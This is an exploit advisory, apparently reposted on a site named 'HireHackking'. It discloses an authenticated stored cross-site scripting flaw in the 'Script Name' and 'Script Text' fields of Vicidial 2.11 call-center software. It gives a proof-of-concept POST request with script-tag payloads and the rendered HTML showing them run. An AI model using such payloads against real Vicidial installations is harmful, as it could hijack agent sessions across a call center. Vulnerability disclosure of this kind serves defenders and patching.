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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Vicidial 2.11 Scripts - Authenticated Stored XSS
# Date: 0 day
# Exploit Author: David Silveiro
# Exploit Author Github: github.com/davidsilveiro
# Vendor Homepage: http://vicidial.org
# Software Link: https://sourceforge.net/projects/astguiclient/files/astguiclient_2.11rc1.zip/download


Vicidial is a popular opensource software, used throughout many different sectors,
such as; call centers for inbound & outband calling.

The vulnerablility is triggered when an authenticated with user sufficient permissions, 
creates a script (small text document that the agents use for remembering lines)without 
sufficient sanitization happening within "Script Name" and "Script Text". Due to the nature 
of how widely this script can be set, for example a whole Tele-marketing campaign or specific
 agent, it could very easily be used to infect other hosts on the Network.

POC:

http://localhost.com/vicidial_demo/admin.php?ADD=1111111

POST Data (script_name & script_text); 

ADD=2111111&DB=&script_id=tests&script_name=<script>alert('XSS!'</script>&script_comments=test&
active=Y&user_group=---ALL---&selectedField=fullname&script_text=<script>alert('XSS 2!'</script>&SUBMIT=SUBMIT

Click 'Preview Script'

    <html>

    <head></head>
    <body bgcolor="white" marginwidth="0" marginheight="0" topmargin="0" leftmargin="0">
        <font size="2" color="BLACK" face="ARIAL,HELVETICA">
            <font size="2" color="BLACK" face="ARIAL,HELVETICA">

                Preview Script: 1017

                <br></br>
                <table width="600">
                    <tbody>
                        <tr>
                            <td>
                                <center>
                                <script>

                                    alert('XSS!')

                                </script>
                                    <br></br>
                                </center>
                                <script>

                                    alert('XSS 2!')

                                </script>
                            </td>
                        </tr>
                    </tbody>
                </table>
            </font>
        </font>
    </body>
    </html>